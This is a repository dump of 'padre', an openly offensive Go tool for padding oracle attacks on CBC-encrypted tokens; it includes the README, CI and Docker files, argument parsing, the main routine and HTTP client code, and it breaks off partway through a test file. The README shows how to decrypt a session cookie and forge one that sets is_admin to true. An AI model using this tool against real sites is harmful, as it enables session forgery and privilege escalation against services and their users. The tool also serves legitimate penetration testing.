Repository: glebarez/padre Branch: master Commit: 9a2e1f297419 Files: 69 Total size: 84.9 KB Directory structure: gitextract_e79k7lbs/ ├── .dockerignore ├── .github/ │ ├── dependabot.yml │ └── workflows/ │ ├── build-release.yaml │ └── test.yaml ├── .gitignore ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── arg_errors.go ├── args.go ├── docker-compose.yml ├── go.mod ├── go.sum ├── hints.go ├── main.go ├── pkg/ │ ├── client/ │ │ ├── client.go │ │ ├── client_test.go │ │ ├── probe.go │ │ ├── probe_test.go │ │ ├── response.go │ │ └── util.go │ ├── color/ │ │ ├── color.go │ │ └── color_test.go │ ├── encoder/ │ │ ├── ascii.go │ │ ├── ascii_test.go │ │ ├── factory.go │ │ ├── hex.go │ │ ├── interface.go │ │ ├── replacer.go │ │ └── replacer_test.go │ ├── exploit/ │ │ ├── decrypt.go │ │ ├── encrypt.go │ │ ├── exploit.go │ │ ├── padre.go │ │ ├── probes.go │ │ └── util.go │ ├── output/ │ │ ├── hackybar.go │ │ ├── prefix.go │ │ └── printer.go │ ├── probe/ │ │ ├── confirm.go │ │ ├── detect.go │ │ ├── fingerprint.go │ │ ├── interface.go │ │ └── matcher.go │ └── util/ │ ├── http.go │ ├── http_test.go │ ├── random.go │ ├── random_test.go │ ├── strings.go │ ├── strings_test.go │ └── terminal.go ├── test_server/ │ ├── .dockerignore │ ├── .gitignore │ ├── .python-version │ ├── Dockerfile │ ├── README.md │ ├── app.py │ ├── crypto.py │ ├── docker-compose.yaml │ ├── encoder.py │ ├── requirements.txt │ ├── server.py │ ├── setup.cfg │ └── tests/ │ ├── __init__.py │ ├── app_test.py │ ├── crypto_test.py │ └── encoder_test.py └── usage.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ test_server Dockerfile docker-compose.yml ================================================ FILE: .github/dependabot.yml ================================================ # To get started with Dependabot version updates, you'll need to specify which # package ecosystems to update and where the package manifests are located. # Please see the documentation for all configuration options: # https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates version: 2 updates: - package-ecosystem: gomod # See documentation for possible values directory: "/" # Location of package manifests schedule: interval: "daily" - package-ecosystem: github-actions # See documentation for possible values directory: "/" # Location of package manifests schedule: interval: "daily" ================================================ FILE: .github/workflows/build-release.yaml ================================================ name: Publish release on: push: tags: - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10 jobs: release: runs-on: ubuntu-latest outputs: upload_url: ${{ steps.create_release.outputs.upload_url}} steps: - name: Create Release id: create_release uses: actions/create-release@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: tag_name: ${{ github.ref }} release_name: Release ${{ github.ref }} draft: true prerelease: false build: needs: release runs-on: ubuntu-latest strategy: matrix: GOOS: [linux, windows, darwin] GOARCH: [amd64] env: GOOS: ${{ matrix.GOOS }} GOARCH: ${{ matrix.GOARCH }} ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true' steps: - name: Set binary extension if: matrix.GOOS == 'windows' run: echo "::set-env name=BINARY_EXT::.exe" - name: Set compiled binary name run: | echo "::set-env name=BINARY_NAME::padre-${{ matrix.GOOS }}-${{ matrix.GOARCH }}${{ env.BINARY_EXT }}" echo "Binary name set to ${{ env.BINARY_NAME }}" - name: Checkout code uses: actions/checkout@v4 - uses: actions/setup-go@v5 with: go-version: '1.20' - name: Build project run: go build -o $BINARY_NAME - name: Attach compiled binary to release id: upload-release-asset uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ needs.release.outputs.upload_url }} asset_path: ./${{ env.BINARY_NAME }} asset_name: ${{ env.BINARY_NAME }} asset_content_type: application/octet-stream ================================================ FILE: .github/workflows/test.yaml ================================================ on: [push, pull_request] name: Test jobs: test: strategy: matrix: go-version: [1.18.x, 1.19.x, 1.20.x] os: [ubuntu-latest, macos-latest, windows-latest] runs-on: ${{ matrix.os }} steps: - name: Install Go uses: actions/setup-go@v5 with: go-version: ${{ matrix.go-version }} - name: Checkout code uses: actions/checkout@v4 - name: Restore dependencies cache uses: actions/cache@v4 with: path: ~/go/pkg/mod key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }} restore-keys: | ${{ runner.os }}-go- - name: Unit tests run: make test - name: Upload coverage report to codecov if: ${{ matrix.os == 'ubuntu-latest'}} run: bash <(curl -s https://codecov.io/bash) ================================================ FILE: .gitignore ================================================ .vscode/ root.crt coverage.out ================================================ FILE: Dockerfile ================================================ FROM golang:1.17 WORKDIR /padre # Build COPY . . RUN go mod download RUN go build -o padre . # Runn CMD ["./padre"] ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2023 glebarez Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: Makefile ================================================ test: go test -race -coverprofile=coverage.out -covermode=atomic ./... ================================================ FILE: README.md ================================================ ![](https://img.shields.io/github/go-mod/go-version/glebarez/padre) ![Publish release](https://github.com/glebarez/padre/workflows/Publish%20release/badge.svg) ![](https://img.shields.io/codecov/c/github/glebarez/padre/master) # padre ***padre*** is an advanced exploiter for Padding Oracle attacks against CBC mode encryption Features: - blazing fast, concurrent implementation - decryption of tokens - encryption of arbitrary data - automatic fingerprinting of padding oracles - automatic detection of cipher block length - HINTS! if failure occurs during operations, padre will hint you about what can be tweaked to succeed - supports tokens in GET/POST parameters, Cookies - flexible specification of encoding rules (base64, hex, etc.) ## Demo ![demo](assets/demo.gif ) ## Installation/Update - Fastest way is to download pre-compiled binary for your OS from [Latest release](https://github.com/glebarez/padre/releases/latest) - Alternatively, if you have Go installed, build from source: ```console go install github.com/glebarez/padre@latest ``` ## Usage scenario If you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following: ```bash padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg==' ``` padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like: ```json {"user_id": 456, "is_admin": false} ``` It looks like you could elevate your privileges here! You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext: ```bash padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}' ``` This will spit out another encoded set of encrypted data, perhaps something like below (if base64 used): ```text dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU= ``` Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level. ## Impact of padding Oracles - disclosing encrypted session information - bypassing authentication - providing fake tokens that server will trust - generally, broad extension of attack surface ## Full usage options ``` Usage: padre [OPTIONS] [INPUT] INPUT: In decrypt mode: encrypted data In encrypt mode: the plaintext to be encrypted If not passed, will read from STDIN NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r) OPTIONS: -u *required* target URL, use $ character to define token placeholder (if present in URL) -enc Encrypt mode -err Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting -e Encoding to apply to binary data. Supported values: b64 (standard base64) *default* lhex (lowercase hex) -r Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters . Example: If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~" -cookie Cookie value to be set in HTTP requests. Use $ character to mark token placeholder. -post String data to perform POST requests. Use $ character to mark token placeholder. -ct Content-Type for POST requests. If not specified, Content-Type will be determined automatically. -b Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values: 8 16 *default* 32 -p Number of parallel HTTP connections established to target server [1-256] 30 *default* -proxy HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP ``` ## Further read - https://blog.skullsecurity.org/2013/a-padding-oracle-example - https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data ## Alternative tools - https://github.com/liamg/pax - https://github.com/AonCyberLabs/PadBuster ================================================ FILE: arg_errors.go ================================================ package main import "fmt" type argErrors struct { errors []error warnings []string } func newArgErrors() *argErrors { return &argErrors{ errors: make([]error, 0), warnings: make([]string, 0), } } func (p *argErrors) flagError(flag string, err error) { e := fmt.Errorf("parameter %s: %w", flag, err) p.errors = append(p.errors, e) } func (p *argErrors) flagErrorf(flag string, format string, a ...interface{}) { e := fmt.Errorf("parameter %s: %s", flag, fmt.Sprintf(format, a...)) p.errors = append(p.errors, e) } func (p *argErrors) flagWarningf(flag string, format string, a ...interface{}) { w := fmt.Sprintf("parameter %s: %s", flag, fmt.Sprintf(format, a...)) p.warnings = append(p.warnings, w) } func (p *argErrors) warningf(format string, a ...interface{}) { w := fmt.Sprintf(format, a...) p.warnings = append(p.warnings, w) } ================================================ FILE: args.go ================================================ package main import ( "flag" "fmt" "net/http" "net/url" "regexp" "strings" "github.com/glebarez/padre/pkg/color" "github.com/glebarez/padre/pkg/encoder" "github.com/glebarez/padre/pkg/util" ) func init() { // a custom usage message flag.Usage = func() { fmt.Fprint(stderr, usage) } } const ( defaultConcurrency = 30 defaultTerminalWidth = 80 maxConcurrency = 256 ) // Args - CLI flags type Args struct { BlockLen *int Parallel *int TargetURL *string Encoder encoder.Encoder PaddingErrorPattern *string ProxyURL *url.URL POSTdata *string ContentType *string Cookies []*http.Cookie EncryptMode *bool Input *string } func parseArgs() (*Args, *argErrors) { // container for storing errors and warnings argErrs := newArgErrors() args := &Args{} // simple flags that go in as-is args.PaddingErrorPattern = flag.String("err", "", "") args.BlockLen = flag.Int("b", 0, "") args.Parallel = flag.Int("p", defaultConcurrency, "") args.POSTdata = flag.String("post", "", "") args.ContentType = flag.String("ct", "", "") args.EncryptMode = flag.Bool("enc", false, "") args.TargetURL = flag.String("u", "", "") // flags that need additional processing proxyURL := flag.String("proxy", "", "") encoding := flag.String("e", "b64", "") replacements := flag.String("r", "", "") cookies := flag.String("cookie", "", "") // parse flags flag.Parse() // general check on URL, POSTdata or Cookies for having the $ placeholder match1, err := regexp.MatchString(`\$`, *args.TargetURL) if err != nil { argErrs.flagError("-u", err) } match2, err := regexp.MatchString(`\$`, *args.POSTdata) if err != nil { argErrs.flagError("-post", err) } match3, err := regexp.MatchString(`\$`, *cookies) if err != nil { argErrs.flagError("-cookie", err) } if !(match1 || match2 || match3) { argErrs.flagErrorf("-u, -post, -cookie", "Either URL, POST data or Cookie must contain the $ placeholder") } // Target URL if *args.TargetURL == "" { argErrs.flagErrorf("-u", "Must be specified") } else { _, err = url.Parse(*args.TargetURL) if err != nil { argErrs.flagError("-u", fmt.Errorf("failed to parse URL: %w", err)) } } // Proxy URL if *proxyURL != "" { args.ProxyURL, err = url.Parse(*proxyURL) if err != nil { argErrs.flagError("-proxy", fmt.Errorf("failed to parse URL: %w", err)) } } // Encoder (With replacements) if len(*replacements)%2 == 1 { argErrs.flagErrorf("-r", "String must be of even length (0,2,4, etc.)") } else { switch strings.ToLower(*encoding) { case "b64": args.Encoder = encoder.NewB64encoder(*replacements) case "lhex": args.Encoder = encoder.NewLHEXencoder(*replacements) default: argErrs.flagErrorf("-e", "Unsupported encoding specified") } } // block length switch *args.BlockLen { case 0: // = not set case 8: case 16: case 32: default: argErrs.flagErrorf("-b", "Unsupported value passed. Omit, or specify one of: 8, 16, 32") } // Cookies if *cookies != "" { args.Cookies, err = util.ParseCookies(*cookies) if err != nil { argErrs.flagError("-cookie", fmt.Errorf("failed to parse cookies: %s", err)) } } // Concurrency if *args.Parallel < 1 { argErrs.flagWarningf("-p", "Cannot be less than 1, value corrected to default value (%d)", defaultConcurrency) *args.Parallel = defaultConcurrency } else if *args.Parallel > maxConcurrency { argErrs.flagWarningf("-p", "Value reduced to maximum allowed value (%d)", maxConcurrency) *args.Parallel = maxConcurrency } // content-type auto-detection if *args.POSTdata != "" && *args.ContentType == "" { *args.ContentType = util.DetectContentType(*args.POSTdata) argErrs.warningf("HTTP Content-Type detected automatically as %s", color.Yellow(*args.ContentType)) } // decide on input source switch flag.NArg() { case 0: // no input passed, STDIN will be used case 1: // input is passed args.Input = &flag.Args()[0] default: // too many positional arguments argErrs.flagErrorf("[INPUT]", "Specify exactly one input string, or pipe into STDIN") } return args, argErrs } ================================================ FILE: docker-compose.yml ================================================ version: "2.1" services: vuln-server: build: ./test_server environment: VULNERABLE: 1 USE_GEVENT: 1 expose: - "5000" logging: driver: "none" healthcheck: test: ["CMD", "curl", "-f", "http://localhost:5000/health"] interval: 2s timeout: 1s retries: 3 padre: build: . depends_on: vuln-server: condition: service_healthy command: > bash -c "./padre -u http://vuln-server:5000/decrypt?cipher=$$ -enc http-get | ./padre -u http://vuln-server:5000/decrypt?cipher=$$ && ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$' -enc http-post | ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$'" ================================================ FILE: go.mod ================================================ module github.com/glebarez/padre go 1.17 require ( github.com/fatih/color v1.18.0 github.com/mattn/go-isatty v0.0.20 github.com/nsf/termbox-go v1.1.1 github.com/stretchr/testify v1.8.4 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-runewidth v0.0.9 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect golang.org/x/sys v0.25.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ================================================ FILE: go.sum ================================================ github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY= github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ================================================ FILE: hints.go ================================================ package main import ( "github.com/glebarez/padre/pkg/color" "github.com/glebarez/padre/pkg/output" ) // flag wrapper func _f(f string) string { return `(` + color.GreenBold(`-`+f) + ` option)` } // hint texts var ( omitBlockLen = `omit ` + _f(`b`) + ` for automatic detection of block length` omitErrPattern = `omit ` + _f(`err`) + ` for automatic fingerprinting of HTTP responses` setErrPattern = `specify error pattern manually with ` + _f(`err`) lowerConnections = `server might be overwhelmed or rate-limiting you requests. try lowering concurrency using ` + _f(`p`) checkEncoding = `check that encoding ` + _f(`e`) + ` and replacement rules ` + _f(`r`) + ` are set properly` checkInput = `check that INPUT is properly formatted` ) // make hints for obvious reasons func makeDetectionHints(args *Args) []string { hints := make([]string, 0) // block length if *args.BlockLen != 0 { hints = append(hints, omitBlockLen) } else { // error pattern if *args.PaddingErrorPattern != "" { hints = append(hints, omitErrPattern) } else { hints = append(hints, setErrPattern) } } // concurrency if *args.Parallel > 10 { hints = append(hints, lowerConnections) } return hints } func printHints(p *output.Printer, hints []string) { // hints intro p.AddPrefix(color.CyanBold("[hints]"), true) defer p.RemovePrefix() p.Println(`if you believe target is vulnerable, try following:`) // list hints p.AddPrefix(color.CyanBold(`> `), false) defer p.RemovePrefix() for _, h := range hints { p.Println(h) } } ================================================ FILE: main.go ================================================ package main import ( "bufio" "crypto/tls" "fmt" "net/http" "os" "github.com/glebarez/padre/pkg/client" "github.com/glebarez/padre/pkg/color" "github.com/glebarez/padre/pkg/encoder" "github.com/glebarez/padre/pkg/exploit" out "github.com/glebarez/padre/pkg/output" "github.com/glebarez/padre/pkg/probe" "github.com/glebarez/padre/pkg/util" ) var ( stderr = color.Error stdout = os.Stdout ) func main() { var err error // initialize printer print := &out.Printer{ Stream: stderr, } // determine terminal width var termWidth int termWidth, err = util.TerminalWidth() if err != nil { // fallback to default print.AvailableWidth = defaultTerminalWidth print.Errorf("Could not determine terminal width. Falling back to %d", defaultTerminalWidth) err = nil //nolint } else { print.AvailableWidth = termWidth } // parse CLI arguments args, errs := parseArgs() // check if errors occurred during CLI arguments parsing if len(errs.errors) > 0 { print.AddPrefix(color.CyanBold("argument errors:"), true) for _, e := range errs.errors { print.Error(e) } print.RemovePrefix() print.Printlnf("Run with %s option to see usage help", color.CyanBold("-h")) os.Exit(1) } // check if warnings occurred during CLI arguments parsing for _, w := range errs.warnings { print.Warning(w) } // show welcoming message print.Info("%s is on duty", color.CyanBold("padre")) // be verbose about concurrency print.Info("using concurrency (http connections): %s", color.Green(*args.Parallel)) // initialize HTTP client client := &client.Client{ HTTPclient: &http.Client{ Transport: &http.Transport{ MaxConnsPerHost: *args.Parallel, Proxy: http.ProxyURL(args.ProxyURL), TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // skip TLS verification }}, URL: *args.TargetURL, POSTdata: *args.POSTdata, Cookies: args.Cookies, CipherPlaceholder: `$`, Encoder: args.Encoder, Concurrency: *args.Parallel, ContentType: *args.ContentType, } // create matcher for padding error var matcher probe.PaddingErrorMatcher if *args.PaddingErrorPattern != "" { matcher, err = probe.NewMatcherByRegexp(*args.PaddingErrorPattern) if err != nil { print.Error(err) os.Exit(1) } } // -- detect/confirm padding oracle // set block lengths to try var blockLengths []int if *args.BlockLen == 0 { // no block length explicitly provided, we need to try all supported lengths blockLengths = []int{8, 16, 32} } else { blockLengths = []int{*args.BlockLen} } var i, bl int // if matcher was already created due to explicit pattern provided in args // we need to just confirm the existence of padding oracle if matcher != nil { print.Action("confirming padding oracle...") for i, bl = range blockLengths { confirmed, err := probe.ConfirmPaddingOracle(client, matcher, bl) if err != nil { print.Error(err) os.Exit(1) } // exit as soon as padding oracle is confirmed if confirmed { print.Success("padding oracle confirmed") break } // on last iteration, getting here means confirming failed if i == len(blockLengths)-1 { print.Errorf("padding oracle was not confirmed") printHints(print, makeDetectionHints(args)) os.Exit(1) } } } // if matcher was not created (e.g. pattern was not provided in CLI args) // then we need to auto-detect the fingerprint of padding oracle if matcher == nil { print.Action("fingerprinting HTTP responses for padding oracle...") for i, bl = range blockLengths { matcher, err = probe.DetectPaddingErrorFingerprint(client, bl) if err != nil { print.Error(err) os.Exit(1) } // exit as soon as fingerprint is detected if matcher != nil { print.Success("successfully detected padding oracle") break } // on last iteration, getting here means confirming failed if i == len(blockLengths)-1 { print.Errorf("could not auto-detect padding oracle fingerprint") printHints(print, makeDetectionHints(args)) os.Exit(1) } } } // set block length if it was auto-detected if *args.BlockLen == 0 { *args.BlockLen = bl print.Success("detected block length: %s", color.Green(bl)) } // print mode used if *args.EncryptMode { print.Warning("mode: %s", color.CyanBold("encrypt")) } else { print.Warning("mode: %s", color.CyanBold("decrypt")) } // build list of inputs to process inputs := make([]string, 0) if args.Input == nil { print.Warning("no explicit input passed, expecting input from stdin...") // read inputs from stdin scanner := bufio.NewScanner(os.Stdin) for scanner.Scan() { inputs = append(inputs, scanner.Text()) } } else { // use single input, passed in CLI arguments inputs = append(inputs, *args.Input) } // init padre instance padre := &exploit.Padre{ Client: client, Matcher: matcher, BlockLen: *args.BlockLen, } // process inputs one by one var errCount int for i, input := range inputs { // create new status bar for current input prefix := color.CyanBold(fmt.Sprintf("[%d/%d]", i+1, len(inputs))) print.AddPrefix(prefix, true) var ( output []byte bar *out.HackyBar hints []string ) // encrypt or decrypt if *args.EncryptMode { // init hacky bar bar = out.CreateHackyBar(args.Encoder, len(exploit.Pkcs7Pad(input, bl))+bl, *args.EncryptMode, print) // provide HTTP client with event-channel, so we can count RPS client.RequestEventChan = bar.ChanReq bar.Start() output, err = padre.Encrypt(input, bar.ChanOutput) if err != nil { // at this stage, we already confirmed padding oracle // we suppose the server is blocking connections hints = append(hints, lowerConnections) } bar.Stop() } else { // decrypt mode if input == "" { err = fmt.Errorf("empty input") goto Error } // decode input into bytes var ciphertext []byte ciphertext, err = args.Encoder.DecodeString(input) if err != nil { hints = append(hints, checkInput) hints = append(hints, checkEncoding) goto Error } // init hacky bar bar = out.CreateHackyBar(encoder.NewASCIIencoder(), len(ciphertext)-bl, *args.EncryptMode, print) // provide HTTP client with event-channel, so we can count RPS client.RequestEventChan = bar.ChanReq // do decryption bar.Start() output, err = padre.Decrypt(ciphertext, bar.ChanOutput) bar.Stop() if err != nil { goto Error } } // warn about output overflow if bar.Overflow && util.IsTerminal(stdout) { print.Warning("Output was too wide to fit to you terminal. Redirect STDOUT somewhere to get full output") } Error: // in case of error, skip to the next input if err != nil { print.Error(err) errCount++ if len(hints) > 0 { printHints(print, hints) } continue } // write output only if output is redirected to file or piped // this is because outputs already will be in status output // so printing them to STDOUT again is not necessary if !util.IsTerminal(stdout) { /* in case of encryption, additionally encode the produced output */ if *args.EncryptMode { outputStr := args.Encoder.EncodeToString(output) _, err = stdout.WriteString(outputStr + "\n") if err != nil { // do not tolerate errors in output writer print.Error(err) os.Exit(1) } } else { stdout.Write(append(output, '\n')) } } } /* non-zero return code if all inputs were errornous */ if len(inputs) == errCount { os.Exit(2) } } ================================================ FILE: pkg/client/client.go ================================================ package client import ( "context" "io/ioutil" "net/http" "net/url" "strings" "github.com/glebarez/padre/pkg/encoder" ) // Client - API to perform HTTP Requests to a remote server. // Very specific to padre, in that it sends queries to a specific URL // that carries out the decryption and can spill padding oracle type Client struct { // underlying net/http client HTTPclient *http.Client // the following data will form the HTTP request payloads. // if placeholder is met among those data, it will be replaced // with encoded representation ciphertext URL string POSTdata string Cookies []*http.Cookie // placeholder to replace with encoded ciphertext CipherPlaceholder string // encoder that is used to transform binary ciphertext // into plaintext representation. this must comply with // what remote server uses (e.g. Base64, Hex, etc) Encoder encoder.Encoder // HTTP concurrency (maximum number of simultaneous connections) Concurrency int // the content type of to be sent HTTP requests ContentType string // if this channel is not nil, it will be provided with byte value every time // the new HTTP request is made, so that RPS stats can be collected from // outside parties RequestEventChan chan byte } // DoRequest - send HTTP request with cipher, encoded according to config func (c *Client) DoRequest(ctx context.Context, cipher []byte) (*Response, error) { // encode the cipher cipherEncoded := c.Encoder.EncodeToString(cipher) // build URL url, err := url.Parse(replacePlaceholder(c.URL, c.CipherPlaceholder, cipherEncoded)) if err != nil { return nil, err } // create request req := &http.Request{ URL: url, Header: http.Header{}, } // upgrade to POST if data is provided if c.POSTdata != "" { // perform data for POST body req.Method = "POST" data := replacePlaceholder(c.POSTdata, c.CipherPlaceholder, cipherEncoded) req.Body = ioutil.NopCloser(strings.NewReader(data)) // set content type req.Header["Content-Type"] = []string{c.ContentType} } // add cookies if any if c.Cookies != nil { for _, cookie := range c.Cookies { // add cookies req.AddCookie(&http.Cookie{ Name: cookie.Name, Value: replacePlaceholder(cookie.Value, c.CipherPlaceholder, cipherEncoded), }) } } // add context if passed if ctx != nil { req = req.WithContext(ctx) } // send request resp, err := c.HTTPclient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() // report about made request to status if c.RequestEventChan != nil { c.RequestEventChan <- 1 } // read body body, err := ioutil.ReadAll(resp.Body) if err != nil { return nil, err } return &Response{StatusCode: resp.StatusCode, Body: body}, nil } ================================================ FILE: pkg/client/client_test.go ================================================ package client import ( "context" "io/ioutil" "net/http" "net/http/httptest" "net/url" "testing" "github.com/glebarez/padre/pkg/encoder" "github.com/glebarez/padre/pkg/util" "github.com/stretchr/testify/require" ) func TestClient_DoRequest(t *testing.T) { // require start here require := require.New(t) // channel to propagate requests requestChan := make(chan *http.Request, 1) // special handler for propagating the channel handler := func(w http.ResponseWriter, r *http.Request) { // propagate received request requestChan <- r // copy request body into the response responseBody, err := ioutil.ReadAll(r.Body) require.NoError(err) // fill the response writer _, err = w.Write(responseBody) require.NoError(err) } // new test server ts := httptest.NewServer(http.HandlerFunc(handler)) defer ts.Close() // mock http client requestEventChan := make(chan byte, 1) // chose encoder encoder := encoder.NewB64encoder("") // create test client testURI := "/?data=$" client := &Client{ HTTPclient: ts.Client(), URL: ts.URL + testURI, POSTdata: "data=$", Cookies: []*http.Cookie{{Name: "key", Value: "$"}}, CipherPlaceholder: "$", Encoder: encoder, Concurrency: 1, ContentType: "cont/type", RequestEventChan: requestEventChan, } // total requests to be sent totalRequestCount := 100 // counter for received requests totalRequestsReceived := 0 // send some requests with random data for i := 0; i < totalRequestCount; i++ { // generate random chunk data := util.RandomSlice(13) dataEncoded := encoder.EncodeToString(data) // send response, err := client.DoRequest(context.Background(), data) require.NoError(err) // retrieve request event totalRequestsReceived += int(<-requestEventChan) // retrieve request that was sent to mocked http client request := <-requestChan // check URL formed properly require.Equal(replacePlaceholder(testURI, "$", dataEncoded), request.RequestURI) // check Body formed properly require.Equal(replacePlaceholder(client.POSTdata, "$", dataEncoded), string(response.Body)) // check Cookie formed properly cookie, err := request.Cookie("key") require.NoError(err) require.Equal(url.QueryEscape(dataEncoded), cookie.Value) // check content type require.Equal(request.Header.Get("Content-Type"), "cont/type") } // check total requests reported require.Equal(totalRequestCount, totalRequestsReceived) } func TestClient_BrokenURL(t *testing.T) { client := &Client{URL: " http://foo.com", Encoder: encoder.NewB64encoder("")} _, err := client.DoRequest(context.Background(), []byte{}) require.Error(t, err) } func TestClient_NotRespondingServer(t *testing.T) { client := 